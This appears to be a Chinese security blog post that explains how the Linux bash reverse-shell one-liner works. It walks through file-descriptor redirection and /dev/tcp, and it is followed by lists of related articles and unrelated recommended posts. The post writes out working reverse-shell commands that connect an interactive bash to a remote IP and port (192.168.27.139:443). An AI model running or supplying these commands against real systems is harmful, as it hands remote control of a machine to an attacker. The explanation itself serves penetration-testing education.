最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问题。这是一篇原理的介绍,也是给自己提的一个醒:盲目机械地工作着,没有多少思考的时间,在忙碌中已经找不到工作的本质和初心。
    Linux反弹shell的指令如下:
bash -i >& /dev/tcp/ip/port 0>&1
 
1
bash -i >& /dev/tcp/ip/port 0>&1
这条命令可以拆开来进行分析。
首先,bash -i的含义就是获取一个交互性的shell,可以通过man bash命令来查看相关命令的解释。
    之后,是>&,对于这个要先了解Linux下的linux文件描述符的概念,linux shell下有三种标准的文件描述符:
0是stdin 代表着标准输入,使用<或者<<
1是stdout代表着标准输出,使用>或者>>
2是stderr代表着标准错误输出,因为也是输出,所以也是>或者>>,但是为了区别std,所以使用2>或2>>。
在默认的条件下是0。>&符号链接在一起就是把输入重定向的意思。
    对于/dev/tcp/ip/port是特殊设备文件(因为Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。 
    最后0>&1(放在>后面的&,表示重定向的目标不是一个文件,而是一个文件描述符)是把前面的输入重定向给了输出。
        那么整个 bash -i >& /dev/tcp/ip/port 0>&1就是一个交互性的shell把输入内容通过socket重定向给了远端服务器的端口,远端服务器的输入又重定向给了输出,这样就是实现了一个远程交互shell。
bash -i >/dev/tcp/192.168.27.139/443 把bash命令的结果输入到远程地址的443端口进行回显。

bash -i < /dev/tcp/192.168.27.139/443 表示把远程192.168.27.139的443端口的输入信息作为输入

这是远端输入后的回显内容

把两个场景结合起来,bash -i > /dev/tcp/192.168.27.139/443 0>&1
还可以把所有的输入输出全都给远端的服务器 bash -i > /dev/tcp/192.168.27.139/443 0>&1 2>&1
之后所有的输入输出都会在远端。

命令没有什么,极其普通,自己也不知用了多少次,但是真的缺少对底层原理的探索精神,又给自己上了一堂课。


Linux bash反弹shell原理引起的一点思考的更多相关文章

  1. 渗透测试中Linux下反弹shell的认识

    最近老是觉得自己白天工作累,晚上理应休息 堕落了几天才发觉自己真垃圾,加紧向前吧. 0x00 前言 在平时渗透还是工作中经常会遇到shell反弹的情况,网上一搜反弹shell都是一大堆,但是真正遇到反 ...

  2. 从一次渗透谈到linux如何反弹shell

    零.绪论 背景: ThinkPHP框架的--> 找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处. 一.渗透过程 1.首先看了一下,没有回显. 2.用ceye ...

  3. 反弹Shell原理及检测技术研究

    1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...

  4. linux 常用反弹shell小记

    在渗透测试过程中由于防火墙和其它安全防御措施,很多服务器只能单向向外访问,不能被访问,我们常常需要反弹shell. 1.bash反弹shell 本地开启监听 nc -lvvp 受害主机命令 bash ...

  5. Linux入侵 反弹shell

    目录 一.简介 二.命令 三.NetCat 一.简介 黑入服务器很少会是通过账号密码的方式进入,因为这很难破解密码和很多服务器都做了限制白名单. 大多是通过上传脚本文件,然后执行脚本开启一个端口,通过 ...

  6. 用bash反弹shell

    用bash反弹shell 受害主机:linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig  ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击 ...

  7. bash反弹shell检测

    1.进程 file descriptor 异常检测 检测 file descriptor 是否指向一个socket 以重定向+/dev/tcp Bash反弹Shell攻击方式为例,这类反弹shell的 ...

  8. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  9. linux下反弹shell

    01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10      192.168.43.151       监听端    装有nc kali        ...

随机推荐

  1. linux创建www用户组和用户

    linux创建www用户组和用户 wdcp中的nginx服务启动需要依赖www用户,因此若没有此用户就可能会启动失败.创建这个用户的方法: [root@bogon local]# id www [ro ...

  2. tamcat7.0(安装文件下载)

    安装包:http://files.cnblogs.com/files/chenghu/apache-tomcat-7.0.27.rar http://files.cnblogs.com/files/c ...

  3. 判断是否是胖子的shell脚本

    read -p "请输入身高(m为单位): " HIGH if [[ ! "$HIGH" =~ [1].?[0-9]{,2}$ ]];then echo &qu ...

  4. pwn之栈缓冲区溢出漏洞(入门)

    题目ret2text 题目信息确认 使用file命令查看文件类型 root@CTF:/home/# file ret2text ret2text: ELF 32-bit LSB executable, ...

  5. C#/WPF 使用的Task线程程序缺依旧响应缓慢问题

    问题:C#/WPF 使用的Task线程程序缺依旧响应缓慢问题 摘要:相信很多做WPF的开发者在请求接口的时候会去采用开一个线程Task去请求接口.避免UI卡主等等.但有一个问题是但开的线程比较多的情况 ...

  6. vue组件使用name属性来生成递归组件

    先来个简单的数据 1 lists = [{ 2 id: 1, 3 title: '第一层', 4 children: [{ 5 id: 3, 6 title: '第二层', 7 children: [ ...

  7. E. Tree Queries 解析(思維、LCA)

    Codeforce 1328 E. Tree Queries 解析(思維.LCA) 今天我們來看看CF1328E 題目連結 題目 給你一棵樹,並且給你\(m\le2e5\)個詢問(包含\(k\)個點) ...

  8. Djano之数据库--ORM

    一.建立数据库模型类 1.在model里创建模型类.(继承models.Model) 1 class Order(models.Model): 2 TYPE_CHOICE = ( 3 (0, u&qu ...

  9. Learn day10 锁

    1.锁 # ### 锁 from multiprocessing import Lock,Process import json,time """ # 创建一把锁 loc ...

  10. 从原生web组件到框架组件源码(三)

    快乐的时光都是这么短暂,转眼间,web原生组件的知识点已经学完了,这个虽然暂时不一定有用,但是随着时间的积累,一步一个脚印的积累,你会有相应的收获,希望能变得更强,比如两年前我也会想有现成的东西不用, ...